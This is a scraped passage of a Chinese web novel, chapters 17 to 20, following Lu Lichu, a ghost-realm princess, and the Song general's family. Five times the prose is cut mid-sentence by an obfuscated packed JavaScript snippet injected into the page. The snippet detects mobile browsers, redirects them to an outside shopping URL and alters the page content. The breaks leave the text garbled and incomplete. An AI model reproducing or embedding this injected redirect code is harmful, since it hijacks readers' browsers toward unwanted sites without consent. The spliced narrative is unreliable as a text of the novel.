“若是没有记录在册,难道不是你们的疏忽吗?若是记录在册……”陆梨初停了停,扯出一个略有些嘲讽的笑来,“那我还真是要好好看看你们的模样,究竟长成什么样的人,能允许普通人聚集鬼气,炼化半鬼!” “梨初,我不是在同你说那个半鬼。”云辞叹了口气,“我是在说你。” “这几日,孟婆大人日日来看你,都被我同紫苏挡了回去,还有鬼王大人,也总是在你院墙外一站便是大半日。你不应该这般任性。” “前两日孟婆大人还特地私下找了我。”云辞脸上先前的愤怒尽数不见了,取而代之的是满脸担忧,“这两日她几次三番想要打开无名册看一看你的未来,可任由她怎么施法,无名册上都未能显示你的未来。” “我怕你这次在人世会惹出大麻烦来……” “大麻烦……”陆梨初像是突然脱力,后退两步坐回了凳子上,“你也觉得我是个纨绔公主,旁的不会,整日只知生事是吗?” “云辞,你来的第一件事便是训斥我不该救那个半鬼,你说我怎么突然转了性子。所以你从一开始便觉得我没什么好心,见到谁都是一副冷硬心肠,不会有半点怜悯之心是吗?” “我不是那个意思。我只是觉得你平日对和漾总是没个好脸,想来是不喜半鬼的……”云辞忙开口解释道,只是看着陆梨初的脸解释的话突然就梗在了喉咙里,不知该怎么继续说出来了。 “和漾。”陆梨初深深吸了一口气,“真是跑到人世来了都避不开这个名字。” “我不是有意提她。”云辞微微向前倾着身子,屋外隐隐有声音传来,似是有人在叩响院门。 “既然有人来了,云辞大人先回吧。”陆梨初站起了身,对着云辞恭恭敬敬行礼道,“人间半鬼的事儿还请云辞大人上上心,您居上位,总该对着那些无辜者抱有怜悯之心。” “梨初。”云辞有些无奈地站起身,见陆梨初一副送客的模样无奈道,“我过两日再来看你。” 云辞走到陆梨初身侧,伸手似是想要摸一摸陆梨初的脑袋,却叫陆梨初后退两步避了开去。云辞叹了口气,只挥了挥手,有鬼气从他掌心落下,落在了陆梨初肩头。 “那我先走了,你好好照顾自己。” 云辞同来时一样,化作一片黑雾很快便消失了。 而他消失后,那沉闷地,像是天边来的叩门声渐渐清晰起来。 潮汐的声音也响了起来,“就来——” 陆梨初将院子里头的动静都听在了耳朵里,潮汐应当是小跑着去开了门。 “宋小将军,您怎么来了?”潮汐随着陆梨初一块儿唤宋渝舟宋小将军。 “我从兵营回来才听说陆姑娘病了,不知她好些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282705|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。”宋渝舟的声音落进了陆梨初的耳里,便是看不着他的脸,陆梨初也能猜出他脸上此时的表情。 “姑娘已经好多了,再睡上一晚明儿应当就全好了。” “我给她带了些东西,我便先不打扰了。” 院子里的说话声渐渐消了。隐隐有门闩落下的声音,而后是脚步声,由远及近。 “姑娘,您怎么起来了?!”潮汐一脚跨进了房间,见陆梨初坐在桌边有些诧异,但很快又焦急起来,“姑娘怎么穿得这般单薄就下床了,可别再着凉了。” “有些口渴,下来喝些水。”陆梨初的视线落在潮汐手中,“方才宋小将军来了?” “是呢。”潮汐将手中的东西放在了桌上,转身替陆梨初取来斗篷,“小将军瞧着神色匆匆的,怕是刚回来便赶来瞧您了。” 陆梨初伸手随手拨弄着宋渝舟送来的东西,而潮汐则在以偶胖解释着。 “宋小将军说他寻了城里最好的蜜饯儿给你送来,喝完药吃上一颗可以压压苦味。” 陆梨初从那包得严严实实地油纸包里摸出一块蜜饯儿来,塞进了嘴里。 同宋渝舟说得一样,的确很甜,陆梨初几乎感觉不到旁的味道了,整个人都被那股甜笼罩住了。 “这是什么?”动作间,一个小木盒子滚落出来,陆梨初捡起了那木盒子,打开是个圆形的瓷瓶。 “宋小将军没细说,只说是些寻来送你的小玩意儿。”潮汐替陆梨初将斗篷掖好,伸着个脑袋,“瞧着像是口脂。” 瓷瓶的盖子打开后,的确是口脂。 闻上去有淡淡的花香味。陆梨初伸手轻轻捻了捻,圆润的指头便被染得红了。 “我去给姑娘拿个铜镜。”潮汐见陆梨初对口脂甚是感兴趣,忙跑去外间,取来块小铜镜。 朱唇轻点,美人一笑。 “姑娘瞧着有气色多了。”潮汐看着镜中人模糊的影子,不由感叹道。 陆梨初却是未曾去看镜中的自己,反倒随手将宋渝舟送来的东西归拢在一处,便起身往床上走了过去,“不早了,早些休息吧。” - 宋渝舟几次回头去看那紧闭着门的院子。 青灰色的墙头有绿叶白花探出半个头来,只是任由他多次回头,那闭着的门都没有再打开过。 “渝舟,在瞧什么呢?”男子的声音骤然响起,宋渝舟有些诧异地回头看去。 “大哥,你怎么这个时候回来了?”宋渝舟瞧见那站在池边的人,满目惊喜,三两步走到那人身边,“父亲呢?母亲知道你们回来了吗?” “怎么还是同从前一样沉不住气。”说话的是宋渝舟的哥哥,宋修然。宋修然比宋渝舟要大上五岁,举手投足间更显稳重。“这次回来,只是途径黎安。母亲尚不知晓,我正要去找她呢。” “途径黎安?前些天不是来信说这两日便回了吗?是战事有变吗?” “渝舟。”听了宋渝舟的话,宋修然脸上的笑收了两分,稍稍有些严肃,“古鱼国如今的国君前日夜里死了,如今登上王位的,正是十年前妄图吞了黎安的朱问。” 18. 第 18 章 第十八章 - 夜里不知哪来的飞虫绕着府中用来照明的灯笼打转。 宋渝舟垂眼瞧着又是一只飞虫扑进了烛火当中,长长吁了一口气。“自打收到信,母亲便十分欣喜,每日掰着指头再数日子,若是叫她知道又是一场空欢喜,怕是要伤心上好一阵了。” 听了宋渝舟的话,宋修然脸上也出现了两分怔忪,“也无需太过担忧了,古鱼国便是贼心不死,如今的兵力也远不如当年。” “罢了,不说这个了。”宋修然揽上宋渝舟的肩,“我瞧你是从西边来的,西边的院子不是一直荒废着吗?” “父亲没同大哥讲吗?陆太尉的孤女前来投奔,就住在西边的院子里。” “是有这么一回事。”宋修然的视线落在西边的方向,一只手摩挲着下巴,片刻后,揽着宋渝舟肩的手倏然使劲,“你小子,大半夜去人姑娘的院子里做什么?” 宋渝舟不曾提防自己的大哥,被这突如其来的一下弄了个趔趄,颇为无奈地推开了宋修然的手,“大哥,陆姑娘病了,我去给她送些东西。” 话虽如此,宋修然脸上却是一副全然不信的模样。“渝舟快到二十生辰了,是时候成家立业了。” “大哥,你又说到哪里去了。”宋渝舟话音微梗,抬头看向宋修然,“若非要说,大哥今年已然二十有五了,尚未有妻房。我又怎么好在抢了大哥的先。” “你这小子。”宋修然右手虚握成拳,锤在了宋渝舟肩头,“轮到你这当弟弟的来嘲笑哥哥了?” 不过那拳头甫一落在宋渝舟肩上便展开了,宋修然转了转身子,同宋渝舟并肩站着。 那遮月的乌云已然散了,露出半个银月来,宋修然抬头看着那月亮,语气当中有些怅然。 “这次我战场上遇了偷袭,被一农户女捡了回去,若不是她,我现在应当也没命站在这儿同你闲话家常。” “大哥你受伤了?”宋渝舟有些心焦,慌忙将宋修然上上下下仔细瞧了个遍,“信里怎么没说过?可有大碍?” “你这男子大丈夫,怎生得婆婆妈妈的。”宋修然大笑着摆了摆手,“那点子小伤早就好了,我要同你说的是那农户女。” “行军行得急,我便留了两个长随,让他们护送着秦渔到黎安来。” “所以说,你可别再说你大哥我尚未成家了,我那是心头有成算,这不将自己媳妇儿找到了么?到时候你还照顾着些你嫂子,等我同父亲将古鱼那群杂碎打回老巢去,便回来同秦渔成婚。” “大哥这般自作主张,母亲该不高兴了。”宋渝舟见宋修然笑,便也跟着笑,“不过大哥喜欢的女子,应当是极好的,母亲见了定会喜欢。” “不说她了,说说你。”平日总是粗犷的汉子,再提起秦渔时却是难得的温和,也有了耐心同弟弟多说上一会儿,“那陆姑娘是个怎么回事?往日可没见你上赶着给哪家姑娘送东西。” “大哥。”宋渝舟有些无奈,本想糊弄过去,可瞧见宋修然满脸不说清楚休想离开的神情,只得思索着开口道,“陆姑娘很是不同。” “她胆子很大,遇上山匪半点也不惊慌。甚至还有闲情对我做上些怪表情。”宋渝舟想起初见陆梨初那日,莫名受得白眼,嘴角不由带了笑。 “总要占人上风,她才觉得痛快,可分明又是个心善的姑娘,便是知鹤这般小心眼的,几日相处下来都不再同她吹胡子瞪眼了。” “谁问知鹤那小子了,我是问你。”宋修然见宋渝舟半天未曾说到点子上,不由有些急,只觉得自己这个弟弟哪里都好,就是读书读多了染了些读书人的酸腐气。 “大哥,我同陆姑娘相识不过几日,哪有什么更多的可说了。”宋渝舟垂在身侧的手不自觉地拨弄着腰间的玉坠,那是他心慌时才会做的动作。 “相识不过几日又如何?”宋修然骨子里便是武将的豪爽,“我瞧见秦渔的第一眼便晓得我这辈子非她不娶了。你都瞧了那陆姑娘多少眼了,还不知道呢?” “大哥,若是再不去见母亲,母亲该歇下了。”宋渝舟背过身去,不愈再同宋修然纠结于这个问题,“回头她该同你生气了。” “你这小子。”宋修然轻笑一声,拍了拍宋渝舟的肩,“男子汉大丈夫,做事不要拖泥带水,要向你大哥学习,果断些。若是同你一样婆婆妈妈的,你嫂子这会儿该嫁给个农户了,而不是在来黎安的路上了。” 似是瞧出自家弟弟已然一副不想多言的模样,宋修然挥了挥手,“走了,我去母亲那处了,你自个儿好好想想。” 宋渝舟目送着宋修然走远了,许是方才提到了陆梨初,他又一次回头看向了那紧闭着门的院子。 月光清凉,洒落在宋府小路上,照出一条蜿蜒的月光小河来。 宋渝舟收回目光,朝着他自己的院子走去。 一步又一步,踏在石子小路上,又好似踏在天上。 - 天光大亮,陆梨初身上的各种不适均是不见了。 她睁开眼盯着那浅色的纱帐许久,像是在同什么人赌气一般,直到明霭的声音响起,陆梨初才收了视线,半推半就地坐起了身。 “姑娘今日瞧着好了许多。”明霭手中端着装了温水的铜盆,细细打量着陆梨初的脸色,“那便要抓紧梳洗了,去赏花宴前还得先去宋夫人那儿呢。” 陆梨初坐直了身子,任由明霭摆弄着她。 发髻梳到一半,陆梨初嗅了嗅鼻子,略有些惊讶地开口道,“明霭,你今儿身上的味道怎么同往常不一样。” “奴婢今天戴上了香包。”明霭转了转身子,露出了别在腰间的香囊。“奴婢发现姑娘似乎对我身上原本的味道格外在意,便托人寻摸能盖味道的香包。” “昨儿拜托知鹤小哥时,小少爷就在一旁,听了话头便问了我缘由。” “奴婢只说姑娘闻不得奴婢身上原本的香包味,想换些旁的,今儿一早知鹤小哥便送来了新的。都是些味道清雅的香囊。” “你也算有点良心了。”陆梨初略有些疲累地掩唇打了个哈欠,兴致依旧算不得太高,“我那滴血算是没有白费。” “姑娘大恩无以为报。”明霭小心翼翼地将那碧玉的簪子插进陆梨初的发髻当中,“只有好生照顾着姑娘。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282706|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明霭口中的好生照料,并不是说说而已。 她今日替陆梨初梳妆挽发分外用心,一番动作下来,陆梨初更显娇艳惹人眼。 陆梨初赶到宋夫人那一处时,宋渝舟同宋修然已经到了。 “梨初,快来我身边。”宋夫人一眼便瞧见了陆梨初,伸手招呼她道,“这是修然,我那不省心的大儿子,昨儿夜里回来的。” “宋大哥。”陆梨初对着宋修然乖巧行礼。 宋修然则是大咧咧地挥了挥手,“都是一家人,不讲这些虚礼。” “去,一点规矩都不懂。”宋夫人白了眼宋修然,招呼着陆梨初在自个儿身边坐了下来,“修然这孩子从小就跟着他爹,活脱脱养成了一个不懂规矩的莽夫。” “宋大哥分明是将军气概。”陆梨初并未顺着宋夫人的话头,反倒是夸赞宋修然道。 而听了她夸赞自家儿子的话,宋夫人自是笑得眼睛眯作一团,“梨初这丫头,最可真甜。今儿身子大好了吧?” “已经没什么大碍了。”陆梨初贴着宋夫人坐着,“倒是夫人瞧着未曾休息好,眼下黑了一圈。” “还不是修然这逆子。”宋夫人叹了口气,“你宋伯父本是这两日便要回来了,可战事又吃紧,暂时回不来了。就是修然用了早膳也要赶回去。” “母亲,您这话说得。”人到齐后,众人开始动筷,宋修然两三口便喝光了面前的肉粥,听了宋夫人的话开口辩驳道,“咱这是守家卫国,说句混不吝的,若是三皇子坐上那位子,咱不就是在替自家子侄打仗吗?” “胡言乱语!” “大哥,慎言!” 宋夫人同宋渝舟的声音同时响起,宋夫人看向宋修然时满脸痛心。 “真是个混不吝的,这种大逆不道的话也说得出口?”宋夫人将手中茶盏掷了出去,只是未能挨到宋修然便落到了地上,碎了个干净,“宋渝舟,赶紧送他走,真是多瞧他两眼,我便要被气过去了。” “母亲,大哥不过一时失言。”宋渝舟放下手中碗筷,“你莫要生气了。” 可宋夫人却是不愈再见到宋修然一般,站起身来,“梨初,我们先去花园吧,同这些人一道,平白没了胃口。” “伯母,我扶着您。”陆梨初忙站起身搀着宋夫人的手臂。李嬷嬷也跟着她们二人一道离开了,一时屋子里只剩宋渝舟同宋修然两人。 “大哥,你方才的话若是叫旁人听了去,宋家怕是整个折进去都不能叫陛下顺气。”宋渝舟看向宋修然,一时觉得心头疲累。 “姐姐分明来了信,陛下心头属意三皇子。”宋修然满不在乎地用放在一旁的绢帕擦了擦脸,“那三皇子却是我们的侄儿,我在家里说说这话不妨事。” “母亲忧心太过。”宋修然站起了身,“时候也不早了,我也该走了,渝舟,你好生照顾着母亲。” “大哥。”宋渝舟看着自家大哥满不在乎的背影,甚是无奈。 “对了。”宋修然刚跨出去两步,却是想到了什么,转身对着宋渝舟挤眉道,“这陆家的小丫头瞧着不错,就是看着弱不禁风的,不如我的阿渔结实。” 19. 第 19 章 第十九章 - 宋府小花园里平日虽说没有花匠打理,可却依旧是花团锦簇,生机勃勃。 陆梨初挽着宋夫人置身于花丛当中,鼻翼间满是淡淡花香,宋夫人心头的气已然消了,是不是递给陆梨初三两块糕点,生怕叫她在这小亭子里待得无聊。 陆梨初比以前是花香,口腔中是糕点香甜。 她的视线落在那随着风浪轻颤枝条的花朵上,心头难得萦绕上一层淡淡的情绪。 那情绪,应当是思念。 陆梨初久违地想起了早已面容模糊的母亲。 若是她母亲还在,那陆梨初在鹤城的日子许是同在这黎安的日子也没什么不同。 母女俩应当会像她同宋夫人一样,坐在一起闲话家常也好,巧手绣花也罢,总归同如今这场景差不得多少。 “夫人,已经有旁家夫人执帖上门来了。”李嬷嬷急匆匆地走了过来,听清她的话,宋夫人拍了拍陆梨初的肩膀,示意陆梨初同她一道去侧门相迎。 “黎安城里这几位夫人没什么坏心,你不用害怕。”一路上,宋夫人还不忘宽慰着陆梨初,只是两人尚未到侧门呢,那谈笑声便已经顺着虚掩的木门传了进来。 “我们方才还在说起将军夫人呢,这便来了。”嗓门最大的那妇人一眼瞧见了挽着个小姑娘的宋夫人,含笑迎了上来,“这便是夫人娘家来的小姑娘吧,瞧瞧这小脸,可真娇艳。” “许夫人还是这般爽朗。”宋夫人一只手虚虚停在陆梨初腰后,将她轻轻往前推了半步,“梨初,这位便是许刺史的夫人。” “许夫人好。”陆梨初乖巧地顺着宋夫人的心意行了个挑不出差错的礼来。 “好孩子,瞧瞧,这规矩就是比咱们这黎安的姑娘家学得好些。”许夫人握住了陆梨初的手,轻轻拍了拍,“凌柳,快上前来见礼。” 随着许夫人的话音落下,一旁马车车帘被一直厚着的小丫鬟掀了开来。 “宋夫人。”许凌柳缓缓从马车里走了下来,手中还捧着个木盒子。 陆梨初瞧见了许凌柳,眼前不由一亮。许凌柳自是看清了陆梨初的脸,不由一愣,“竟是姑娘。” “怎的?”许夫人自是瞧出了两人间的端倪,略有些疑惑的开口道,“凌柳你同梨初姑娘见过?” “有过一面之缘。”许凌柳弯唇轻笑道,“前些日子在集中酒肆,梨初姑娘曾邀我同食。” “瞧瞧,咱们这俩姑娘可真有缘。”许夫人伸手将许凌柳手中抱着的木盒子取了过来,打开了盖子。木盒子中装着一只水头翠绿的镯子,“给晚辈的一点心意,宋夫人可莫要推辞了。” “是。”宋夫人依旧笑着,她回眸看向李嬷嬷,李嬷嬷登时会意,上前两步接过了那木盒子,“诸位夫人,咱们进府,外头风大,可别吹坏了各位夫人。” 陆梨初在宋夫人的指引下,一一对着诸位夫人见礼。 不得不说,宋夫人这将军夫人的头衔的确好用,众人知道这赏花宴不过是宋夫人领着陆梨初在众人面前走个过场的由头,却依旧盛装出席。 官家夫人也好,商贾夫人也好,俱是带了厚礼来。 “梨初,你同许姑娘自去玩儿吧,咱们这儿用不着你们姑娘家在旁边陪着。”一行人在花园凉亭里坐了下来,宋夫人含笑看着陆梨初,微微抬头,示意她自管玩去。 一旁的众位夫人却是神色各异,带着姑娘来的许夫人自是满脸得色,而旁的夫人们却是面面相觑,不由心下懊恼,未曾将家中适龄的姑娘带来。 要知道,这宋将军府,可有两位适龄的少爷未曾婚配。 再不济,宫中那位贵妃娘娘可是得盛宠得很,若是能同宋府打好关系,日后的好日子且等着呢。 陆梨初领着许凌柳离了凉亭,入了那花丛。 “许姑娘,那日在酒肆占了你的包厢真是对不住。”陆梨初在一株开得正艳的月季旁停了步子,“便是宋小将军,事后同我也念叨了许多次,该请姑娘一道听那说书的。” “梨初姑娘客气了。”许凌柳说话时,嘴角微微翘着,声色甜如蜜糖,“算不得什么事,叫您同宋小将军记挂。” “可不能这般讲。”陆梨初摆了摆手,“宋渝舟后来可是后悔了许久,念叨了我许久呢。” 许凌柳垂下眸去,双颊染粉。 陆梨初见状也不再说,只是领着许凌柳继续赏起花来。 花朵艳丽夺目,可在花园中闲逛的两人却都有些走神。 陆梨初在暗自高兴,瞧着许凌柳的反应,像是对宋渝舟的印象甚是不错,她稍稍给二人拉个红线的目标登时完成了一大半。 等两人郎情妾意了,她便能离开黎安,天南海北得四处游览。便是陆川发现了她私自离开鬼界,没了无名册上所谓的良缘,陆川也没了拘住她的理由,青山绿水,还不是由得她想去便去。 许凌柳却是想起了离开许府时,许夫人同她交代的话。 许刺史是被外放来黎安的,如今许凌柳已然是待嫁的年纪,可这黎安的男子逐一数下来,却是除了宋家没谁能入许夫人的眼。 至于炎京城里的那些,却又是些眼高于顶的,瞧不上他们这个外放至黎安,没什么回京希望的亲家。 好在这黎安还有个宋家。 宋家不光有个镇国大将军,还有个颇得盛宠的贵妃娘娘。 许夫人更是得了一些小道消息,说是圣上心头属意的储君人选便是宋贵妃的三皇子。 而宋家,可是三皇子的亲外家! 若是能嫁入宋家,那不是有泼天的富贵在等着么。 是以陆梨初方才一提及宋渝舟,许凌柳便想起了自家母亲先前细细讲给自己听的那些事儿。 许凌柳她是不在意这些的,可宋小将军生得丰神俊朗,少年英才。 这黎安城中,又能有几家姑娘不对那鲜衣怒马的少年将军芳心暗许呢。 而那叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282707|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满城姑娘芳心暗许的宋小将军宋渝舟,却是满脸无奈,对着自家哥哥,双肩微耸,不知该说些什么。 “大哥,帝王心深不可测,你日后不可再胡言乱语了。” “自家人面前,何须做出那副样子。”宋修然坐在马上,伸手摩挲着嘴角新长出的胡茬,“你啊,莫要像那些酸腐文官一样,肠子心的弯弯绕绕,兀得烦人。” “大哥……”宋渝舟还想再劝,他同一心觉得当今圣上是个好皇帝的宋将军以及宋修然不同,他同大姐二人留在炎京的那十年,见过了太多远在边疆的父兄未曾见过的是非,更是知道帝王心深不可测。 宋家本就功高盖主,叫上头那位心存不满,如今若是那传言不假,圣上愈立三皇子,他们宋家真能同如今这样,镇守炎京,远离那官场纷争么。 “行了,莫要再说那些酸腐话。”宋修然双腿夹住马肚,身下棕色大马扬起头,打了个响鼻,“我那属下传了信来,阿渔今儿便能到黎安了,你记得差人将她接回府。” “知道了。”宋渝舟翻身上马,欲意再送宋修然一程,却叫宋修然挥手拒绝了。 “别送了,等事态平息我便同父亲回来了。”宋修然微微挑起眉,“倒是你,有喜欢的姑娘便抓紧些,不然叫旁人抢了先,可就不成了。” 似是见宋渝舟脸上的神情有些凝固,宋修然话音一转,不再继续方才的话题,“我同父亲不在家,你好生照顾着母亲,还有大姐那儿,若是有信回来了,记得给我同父亲誊写一封。还有阿渔,她是个乡下姑娘,母亲许是会不喜,你多替她说说好话,平日在府里多关照着些她。” 宋修然咋了咋唇,口中发出一声驾音,停在原地的棕色大马缓缓动了起来。 “别送了——”宋修然未曾回头,只是背着身子挥了挥手,“回头见。” 宋渝舟看着自家大哥的背影,脸上挤出的笑渐渐淡了两分。只见他食指拇指相连成环,虚虚抵着唇,吹出一声悠扬哨响。 一只白鸽落在了白马脑袋上。 似是觉得头顶有什么,那白马颇为不满地摇了摇尾巴,在原地跺了两步,叫宋渝舟拍了拍它的脖子,才不再动弹。 那白鸽是宋渝舟同宋听棠之间传信用的,除了他们没有旁人知晓。 宋渝舟从怀里摸出先前便裁剪好的纸条,塞进了白鸽腿上绑着的信筒里。 白鸽重新飞上天空,消失在天际。 宋渝舟抬头看着晴空万里,眸光有些许涣散。 “少爷——小少爷——”知鹤的声音由远及近,听着万分焦急,“不好了小少爷,出大事了!” “小……小少爷……”知鹤是跑来寻宋渝舟的,“大少爷人呢?” “大哥已经启程走了,你怎么这般慌慌张张,家里出什么事了?” “大少爷那……那两个缺心眼的长随,大大咧咧地领回来个女子。非说是大少爷的妻子,给夫人气得紧了,要叫人把他们全拖下去卖了——” 20. 第 20 章 第二十章 - 听了知鹤的话,宋渝舟也顾不上旁的,弯腰将站在马旁的人捞上马背。 知鹤哎哟一声,整个世界天旋地转,等他反应过来时,自个儿已经头朝着下趴在了马背上。 “母亲向来温和,怎么会发这般大的火。”宋渝舟双腿轻轻拍打在马腹上,白马奔跑了起来,知鹤传来一阵悠远流长的尖叫。 “那长随——是傻的——花园——夫人们都在——夫人——气急了。” 上下颠簸间,知鹤的话也断断续续的,听不分明。 但好在便是只有些破碎的词句,宋渝舟大抵明白了家中到底发生了何时。 若是平日,那两个随了大哥没有心眼的长随直接将人领回去,宋夫人许是会气上一阵,但绝不会登时就要处置了他们。 可偏偏,今儿是宋夫人亲自操办的赏花宴,黎安城中稍有些名头的夫人都会前来,那两个长随就这样秦渔带回府中,自是叫别家夫人瞧了热闹,众口铄金下,便是宋夫人想轻拿轻放都不行了。 宋修然行军途中不忘抢回个姑娘的事儿但凡传出去,宋家遭人瞎话,被那炎京中的文官参上两笔便罢了。 宋听棠在宫中本就步履艰难,又该如何自处。 宋渝舟心中甚是着急,一路疾驰,刚到宋府门口,便急匆匆地下了马,冲进了府中,也顾不上马背上趴着的被颠得七荤八素的知鹤,路上险些撞上正欲离开的许家母女。 “哎哟。”许夫人被突然冲出来的人吓了个机灵,不由开口埋怨,“哪来的……” 只是抱怨的话刚说了半截,许夫人便认出了险些撞到她的正是宋家小将军,只得将腹中牢骚咽了回去。 “宋小将军。”许凌柳跟在许夫人身侧,伸手扶住了母亲的手臂,轻行一礼。 “多有冒犯。”宋渝舟的目光从许凌柳身上虚虚掠过,抱拳以表歉意后便不再停留,朝着后院快步走去。 “母亲,你不妨事吧。”直到宋渝舟走远了,背影也瞧不着后,许凌柳才收回视线,偏头看向自个儿的母亲。 许夫人斜斜看了许凌柳一眼,像是瞧穿了她的少女心事,“方才,那两个刁奴没来前,我同宋夫人提过一嘴。” “母亲!”许凌柳打断了许夫人的话,脸颊上绯红一片,视线下垂着,好不娇羞。 “这有什么可羞的,这可是你的人生大事。”许夫人拍了拍许凌柳挽住她的手,两人继续往前走着,“宋夫人只说想替宋小将军找个他自个儿中意的,我也不知是推辞还是什么。只是既然宋渝舟的亲事还未曾定下,那你便要好生抓住这机会。” “母亲,你说到哪儿去了。”许凌柳咬唇道,面上满是羞稔。 “你这丫头,难不成你想听你爹的随便找个武夫嫁了?”许夫人面上不显,却是压低了声音道,“你同那便宜丫头打好关系,才好通过她将宋小将军约出来。若是宋小将军对你痴心一片,亲自上门提亲,那岂不是长脸的很?” “我知道了母亲。”许凌柳轻叹了一口气,“我们快走吧,人多眼杂的,叫人听了去便不好了。” 母女二人跨出宋府大门,坐上了一早等在门边的马车。 而知鹤却是堪堪从地上爬起来,揉着那险些被马颠散的腰,牵着被宋渝舟留在门前的白马,进了宋府。 宋渝舟几乎是跑去后宅的,只是远远地便瞧见了蹲坐在屋外的陆梨初,不由放缓了步子。 “陆姑娘,你怎么坐在这儿。”宋渝舟停在了陆梨初面前,气息仍有些不平。 陆梨初仰头看过去,见是宋渝舟,瞪大的眼睛微微弯起,“宋小将军,你可回来了,快去劝劝伯母吧,她方才发了好大的脾气。” “怎么了?母亲冲你撒气了吗?”虽说心知母亲不是会迁怒旁人的人,当宋渝舟仍记得方才陆梨初一人可怜兮兮蹲在门口的模样,不由软了语气,轻声问道。“叫你受委屈了?” “没有,宋小将军,你怎么能这样想伯母呢。”陆梨初微微抿唇,脸上笑意落了两分,“宋伯母只说我还是个未出阁的姑娘家,听不得那些腌臜事,叫我先回去。” “我怕伯母气急攻心,伤了身子,才一直在外面等着。” 宋渝舟握拳虚掩在唇前,轻咳一声,“我进去劝劝母亲。” “快去吧。”陆梨初伸手挥了挥,示意宋渝舟快些进去,“我就在这儿等着你。” 宋渝舟的视线更软两分,他看向陆梨初,只觉有股清风拂过他方才焦急无比的心房,叫他整个人都冷静了下来,“别着急,母亲方才只是气得狠了,不会有事的。” 轻声安抚了陆梨初一句,宋渝舟轻轻叩响了紧闭的房门。 李嬷嬷将门打开一条缝,见是宋渝舟才大喜过望,推开了门,“小少爷,您回来了。快快进来。” “李嬷嬷。”宋渝舟半只脚跨进了房间,想起什么般停了动作,“劳您取个躺椅来,陆姑娘心焦母亲状况,不愿先回去,有个躺椅也等得舒心些。” “哎,老奴这就去。”李嬷嬷从屋内走了出来,宋渝舟见她寻躺椅去了,方才进了屋子,小心翼翼地将门关上了。 “母亲。”越过遮挡用的屏风,宋渝舟并未去瞧跪在地上的人,径直走向了坐在上首,正揉着太阳穴的宋夫人,“怎么气成这样了。” “你来得倒快。”宋夫人抬眸斜了眼宋渝舟,坐直了身子,“半句也不多问,怎么早就知道你大哥做得这些腌臜事了么?” “母亲。”宋渝舟见宋夫人的神情,知她是被气得狠了,“你先前不是还在抱怨大哥整日在战场上,一直未能成家吗?如今大哥自己寻摸了个媳妇儿,您该高兴才是。” “高兴?!”宋夫人骤然抬高了声音,一声清脆的响惹得跪在地上的三人俱是一抖。宋夫人指着那跪在当中的人,嘴唇微微哆嗦着,“一个大着肚子的女人找上门来了,你让我高兴?宋渝舟,我瞧你也是昏了头了!” 听了宋夫人的话,宋渝舟心里一惊,下意识偏头望向那跪在当中的人。跪在中央的女人应当就是大哥说起的秦渔。 秦渔穿着一身棉布衣裳,面色惨白,两行清泪挂在面庞上,看着好不可怜。 “母亲,大哥先前同我说过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282708|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦姑娘的事……”宋渝舟垂下眼去,不再多看。“只是前线事急,大哥他未曾能同你细说。” “未能同我细说。”宋夫人颇有些疲惫地阖上眼,“好一个未能同我细说。” “夫人,喝些花茶,顺顺火。”李嬷嬷端着茶水替宋夫人续上,“您干着急也没有用,这秦姑娘既然找上门来了,唯有先叫她安置下来,等大少爷回来了再做打算。” “可若是修然的战事拖上一年半载,这肚子里的孩子恐怕就出来了!”宋夫人长叹了一口气,看向李嬷嬷时,眼里隐隐有泪光,“他这般做,可曾想过他父亲会被朝中的人弹劾?可曾想过他大姐姐在宫中本就寸步难行了,还亲自给旁人递上话柄?” “夫人,若是这秦姑娘未曾讲大话,那孩子是咱们宋家的骨血啊。”李嬷嬷面上隐隐有着皱纹,她看着仿佛骤然老去的宋夫人,唯有望向宋渝舟,想叫他说上两句。 “母亲,我这便给大哥去信。”宋渝舟的视线从跪着的三人身上掠过,“秦姑娘便先在府里住下,寻两个婆子好生照料着,至于兄长的那两个长随,便先跟着我去军营,等大哥回来了再做定夺。” 宋夫人阖眸挥了挥手,李嬷嬷会意,走到跪着仍旧在落泪的秦渔面前,“秦姑娘,请吧。” 